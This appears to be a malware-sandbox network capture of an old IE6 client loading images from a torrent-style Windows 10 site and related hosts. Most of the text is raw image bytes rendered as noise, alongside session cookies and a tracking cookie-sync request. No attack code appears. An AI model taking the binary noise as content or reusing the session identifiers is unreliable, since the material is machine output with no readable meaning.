Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/jpeg

Content-Length: 17699

Last-Modified: Fri, 04 Sep 2015 15:48:18 GMT

Connection: keep-alive

ETag: "55e9bd42-4523"

X-Powered-By: PleskLin

Accept-Ranges: bytes

<<< skipped >>>

GET /templates/torrent-windows/images/bar-bg.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/png

Content-Length: 313

Connection: keep-alive

X-Accel-Version: 0.01

Last-Modified: Mon, 13 Jul 2015 16:35:27 GMT

ETag: "78e89b-139-51ac44f2a697c"

Accept-Ranges: bytes

X-Powered-By: PleskLin

.PNG........IHDR...............0.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx...9..0.D.Ef..3p..p.Z.....|.Q..8E.,K..$..(..m.<.J.eY....eY]...k..8..a...I..FH.F1..........e..K...#u?.I........ ....;.m..m...4..EQ..z9B*.%.xE.:......ziM..z\!.......H....e...{vB*.e[H....j...].. .q.y..].i..O9:A...}.0...]. J->....IEND.B`.....

GET /templates/torrent-windows/images/bar-blue.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/png

Content-Length: 253

Connection: keep-alive

X-Accel-Version: 0.01

Last-Modified: Mon, 13 Jul 2015 16:35:28 GMT

ETag: "78e89d-fd-51ac44f32d9a4"

Accept-Ranges: bytes

X-Powered-By: PleskLin

.PNG........IHDR.............{.8.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b,.p...x......_..J0.....?0..L...21....,..r(...w@..........?.".....|...]..wp....>..0|..r..G.P.<z...Rb....ea`fAH<|....C..J.00.......]...zHBm.......5eL1.....E/..x......IEND.B`.....

GET /uploads/posts/2015-08/thumbs/1440090926_1439919959_windows-10-update-10525.jpg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: image/jpeg

Content-Length: 28811

Last-Modified: Thu, 20 Aug 2015 17:15:11 GMT

Connection: keep-alive

ETag: "55d60b1f-708b"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85....C..............................................!........."$".$.......C.......................................................................,...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....`.....y.x...&(.".#.s.5.......|.)".8S....qQ\.'..9..Q..[..4.7NjH.....5I..X....#by....*.....>.(C......#w...C.z}.,...vR*..2.....x.y--...&.x.>......../....X4s.`...n.......YG=....GVG............./....-.k.rYr..=.*..Q...O....)..5...../B../....;...._........Y\i...|.0.;..?...5..ldc"2.9.."._kWw.Gsyp.......z..ZW...|.mT...ih.v.....z...7) .a.&.85.i...Sy..e.Aa..J.......d.L..0.mp..;.r.....$.M...=.......p.. ..R.Z...A....\....d.b.4..m.....B>b.g..G.Fi.W....!...p..`.z.?.Y..sar.N.i.#.....Ewi$.Z.b$.@......%..q...G.HS...A........u{y$.V.#]...*.3.A$..rj..........gh.D..n$.;t.I-o..X.....n..NB.Lm>.....h~....(`Nq]G.'..M.x.=...q...Y...Jk...t...O..yP. .Y......L.\.....R.. .R..e... ....t~2h..X.H...y.|..2..*.V6.......c'..~.pmYNz/....*...U3..Tq.e.q.2......w...w...UI....#>.......> .........w.r..[....(.d.f..k..X..pgbA..l.......o.h..5....T....$..c.9./.E...

<<< skipped >>>

GET /uploads/posts/2015-08/thumbs/1440768500_1440712240_edge-logo-full-02_story.jpg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: image/jpeg

Content-Length: 9503

Last-Modified: Fri, 28 Aug 2015 13:28:08 GMT

Connection: keep-alive

ETag: "55e061e8-251f"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85....C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...R.(..O...(..E.....(....Q@..R...b..QL..(...(...(...QE..(...(...(...)qF=...R....sE--.q.sKK@\o>.~..6....EH#s.4...........`ZH{T.b..2. ).Z.....]={.......i@'.l-...m#..{D5I..[....$?.[...jp.....hW.0..C..[).Pkkh...~... .#!t.=EJ.x.Zx.....4P[.."...V.F)s2.Q\[F;S.(;....Wc.....E..h..dr.QEt..E.)h.......QJ....K..v...(...(...(...(...(...R.'.8F....n(...J...[9Oj..fV...]M>S.5*ilz..2.#3h....z.t..E/h...0.{.P....B.... ....O.C.L....E5".....!.c.E<"..){R...-...J.c.....JFlT.VR.....9.i..5.... `..cT.U[(.=m...e ..s2.Q.............d7h...-..LQ.ZJ.1KE..(.......m.......**q.8F(....(SVB.P.v...3N.T...!.....G.KE..r........(..c.....E4.`.T.k1...,&=...2....d..jd..z\.|....c[...z.t..j^......c...R..k.[(.j.m...*}.*G6.......S..F".tQJB.aI. .#.t..\....9.m..Fr){F?d.....S......T....3S..P..c..*E....V......nIv '..3.*.C...N......iE....q.....;U9n...m....h.....P.E.P.E.P.Q.3RQ...x\UyW

<<< skipped >>>

GET /uploads/posts/2015-08/thumbs/1440853310_1440774442_01-xao3kkc.jpg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: image/jpeg

Content-Length: 24647

Last-Modified: Sat, 29 Aug 2015 13:00:17 GMT

Connection: keep-alive

ETag: "55e1ace1-6047"

X-Powered-By: PleskLin

Accept-Ranges: bytes

....

GET /uploads/posts/2015-09/thumbs/1442334487_1442257655_ceaokoxueaidjte.jpg-large.jpg HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: image/jpeg

Content-Length: 19266

Last-Modified: Tue, 15 Sep 2015 16:26:44 GMT

Connection: keep-alive

ETag: "55f846c4-4b42"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85....C..............................................!........."$".$.......C.......................................................................8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..*.ZJ.(...(...(...)i(......(.....ZL..E..4.QE..QFi..FI...Eg^.Zm....H{....5K;.....C.:.....n..y.]..R...U..R.P.E.P.E.P.E.P.E....QK@.KIE.-%.P.KIE..QE..QE..QE...)...1|i...g.W.....6.3.q...~v...5o..J..5..h.s..O..g.......1.x|............_*.zS.......*..h.4.|..s.C...R..H...f....&.].s^U7uc.....8.qEg....Zr..3.... .>|J(...)i(...(...Z.J(......J.M.w._......[D.....,.....K!....5.......{u3e....`N.y..*T .7g......~.h..~>.Y..[....tz.....X.G..n.?)?Z.KX.c5,.l....yt...n.......J..1.g. ............];R|s.)..5..W......8XbB.}.{.q...d|v .W.W.I..2<m.8.....K.N.c.S...W....Z..K....H.;T{qY...>.....1.....5..[..P..y5.2.6..>........4....'.[.....fV^.......3.{..`N...[Sy]...@...E..;...'q...H W.n.....W.iSy.}...<j.J..ue4............[..u.....(........(...))h.;R.E....P.E.P.E.P.QKE.%.Q@..R......(........o$T..|.N7?` .r..N...?m....~#O.....X.....s.....&O....u...x..W....2.

<<< skipped >>>

GET /uploads/posts/2015-09/thumbs/1442334267_1442245312_vp9-microsoft-edge.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: image/png

Content-Length: 125705

Last-Modified: Tue, 15 Sep 2015 16:23:16 GMT

Connection: keep-alive

ETag: "55f845f4-1eb09"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR....... .....MS.... .IDATx...m..Gu...z.>...o..aw.........Q....1Q..G.i..C......3.g...])..t...&..F...I.$`..@.1.p.6...L............G..jU...9m.`P.}z.....jU.zj..ZEx.{.D..,...j<k...%...\>. ....3.u...UX]tH.....bI.1..2..E.T.G.....$1..hc..8.5...4...3KT.xEQ. .S..BP.3.LV.....T8...u...y....@.Q.....Q. J..\9l.%.....u"...ue.w;.c!('..).I. ..eH:...3..#3.....x..G 2.A...........'.....B.T...@...Wj.. ..U.&H...Q.X....r.w|]X7_...Ev.a u.e.E..q7v<.^TqRz.....).I..3.|.........q...qY../v.......D.s<`FS~./;.r.....X..4.]..B...5..../)..<.g.vQ.j!...4.O.....Q...;.^.x/.Z.G/j....u..~........^."L....%i....~c.........}.....g%..S.l.`o...2.H.......cz.*....%.*......p..C....f.}..cH..Y...8t.~.u!NB......< ..,@..0.QZ.BF..WU...Q2..3.!9^.HC.p].7.f.;eA........g...B-........-~.I..E..}.".......:.... ..@.y..(.e. ?DFq.....>A...........?.........w..:...........>..3.q.B......x...B.4.......(....x..N..*['...$9.e....QV..\FB.W....^.....[....D8..."-.Y...#..v%P$O.[=k h....w4$.....}...<...._.....Fj...".(.M..a..j.n.q......>...nl...2;9.......J. .....J........rD.b}..W8.....b....(5..O.B...b..(#.~..F...g..'5...g.pe.(6.s.."_......P(.^...V...E.CY?h..g%(.....6#.....J....D..VG.8.nX6S.Z..m.A4M..r|2..E,W.b...2F.b.. ..K......d.B.....Nvk?(..Z@e.'T,...[..V..Bf9)..A....f..%.t.9.d.$.. _....6F.....!"}.......R.n..*#.m..3[.3s3......@...(...J.......]?.......H...r;...........ug..C......... ..r>.y.yJ..`K .j...d....:.}]_e@.C...L............E.HB..d6f..q..p.:.#f..iA..]..5.....s..%s..c.<.B..c....4...\?..............#.Q.,..h....^.!..j.Y?FNS.I.

<<< skipped >>>

GET /uploads/posts/2015-09/thumbs/1442238241_1442230719_co1pj_dueael5ln.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

GET /templates/torrent-windows/images/user.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:13 GMT

Content-Type: image/png

Content-Length: 2960

Last-Modified: Mon, 17 Nov 2014 17:14:55 GMT

Connection: keep-alive

ETag: "546a2d0f-b90"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...............7.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/view.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:13 GMT

Content-Type: image/png

Content-Length: 3155

Last-Modified: Mon, 17 Nov 2014 17:14:55 GMT

Connection: keep-alive

ETag: "546a2d0f-c53"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR.............Oy......pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/sep.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:13 GMT

Content-Type: image/png

Content-Length: 2796

Last-Modified: Mon, 17 Nov 2014 17:14:51 GMT

Connection: keep-alive

ETag: "546a2d0b-aec"

X-Powered-By: PleskLin

Accept-Ranges: bytes

<<< skipped >>>

GET /templates/torrent-windows/images/arrow_2.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:13 GMT

Content-Type: image/png

Content-Length: 2892

Last-Modified: Mon, 17 Nov 2014 17:14:47 GMT

Connection: keep-alive

ETag: "546a2d07-b4c"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR..............X6.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /templates/torrent-windows/images/short_img.png HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: windowsten.su

Connection: Keep-Alive

Cookie: PHPSESSID=45917ec65b604ec5b9c060626c970301; uid_zxcv=258cc02055fa2da69df618df030d1302

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:14 GMT

Content-Type: image/png

Content-Length: 4823

Last-Modified: Mon, 17 Nov 2014 17:14:54 GMT

Connection: keep-alive

ETag: "546a2d0e-12d7"

X-Powered-By: PleskLin

Accept-Ranges: bytes

.PNG........IHDR...8...8.......;.....pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<< skipped >>>

GET /img/informers/term-t2.png HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sinst.fwdcdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 454

Last-Modified: Thu, 23 Oct 2014 10:32:26 GMT

Connection: keep-alive

ETag: "5448d93a-1c6"

Expires: Fri, 16 Sep 2016 03:04:10 GMT

Cache-Control: max-age=31536000

X-Server-By: sinfe3

Cache-Control: public

Accept-Ranges: bytes

.PNG........IHDR..............5......tEXtSoftware.Adobe ImageReadyq.e<....PLTE...................h!................qz.:=.........................|'....{.................e ................&..;B....IO........................x.........kw.............n#.....................f.X.....IDATx......1.........m...........6...n.!.......O.}.............q..o...M..........;%.9.......W.}..|.'c.^.8.. _..C.r7......xu..)....U...03.....f......$Z>.......H.q.......IEND.B`.....

GET /img/informers/flc-t1.png HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sinst.fwdcdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 167

Last-Modified: Wed, 05 Nov 2014 09:28:02 GMT

Connection: keep-alive

ETag: "5459eda2-a7"

Expires: Fri, 16 Sep 2016 03:04:10 GMT

Cache-Control: max-age=31536000

X-Server-By: sinfe3

Cache-Control: public

Accept-Ranges: bytes

.PNG........IHDR.............F3.@....tEXtSoftware.Adobe ImageReadyq.e<...IIDATx.bX.....O..G.L...5......./..`...?..8v....go......x..}..../..T.......2p)-........IEND.B`.HTTP/1.1 200 OK..Server: nginx..Date: Thu, 17 Sep 2015 03:04:10 GMT..Content-Type: image/png..Content-Length: 167..Last-Modified: Wed, 05 Nov 2014 09:28:02 GMT..Connection: keep-alive..ETag: "5459eda2-a7"..Expires: Fri, 16 Sep 2016 03:04:10 GMT..Cache-Control: max-age=31536000..X-Server-By: sinfe3..Cache-Control: public..Accept-Ranges: bytes...PNG........IHDR.............F3.@....tEXtSoftware.Adobe ImageReadyq.e<...IIDATx.bX.....O..G.L...5......./..`...?..8v....go......x..}..../..T.......2p)-........IEND.B`...

GET /topick?uid_zxcv=258cc02055fa2da69df618df030d1302 HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sync.security.pp.regruhosting.ru

Connection: Keep-Alive

Cookie: aureid=lPtRjVX6Law9Py94mJOUAg==

HTTP/1.1 204 No Content

Server: nginx

Date: Thu, 17 Sep 2015 03:04:14 GMT

Connection: keep-alive

Set-Cookie: regruid=258cc02055fa2da69df618df030d1302; Max-Age=62899200; Domain=.security.pp.regruhosting.ru;

HTTP/1.1 204 No Content..Server: nginx..Date: Thu, 17 Sep 2015 03:04:14 GMT..Connection: keep-alive..Set-Cookie: regruid=258cc02055fa2da69df618df030d1302; Max-Age=62899200; Domain=.security.pp.regruhosting.ru;..

GET /i701/1505/be/f4528c2cfd19.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s020.radikal.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Sun, 17 May 2015 19:41:22 GMT

Accept-Ranges: bytes

ETag: "90104f74d990d01:0"
